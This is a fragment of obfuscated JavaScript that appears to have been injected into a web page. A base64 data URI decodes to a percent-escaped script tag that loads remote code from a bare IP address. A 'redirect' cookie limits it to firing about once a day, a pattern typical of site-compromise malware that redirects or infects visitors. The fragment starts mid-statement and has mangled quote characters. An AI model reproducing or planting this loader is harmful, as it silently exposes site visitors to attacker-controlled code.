src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}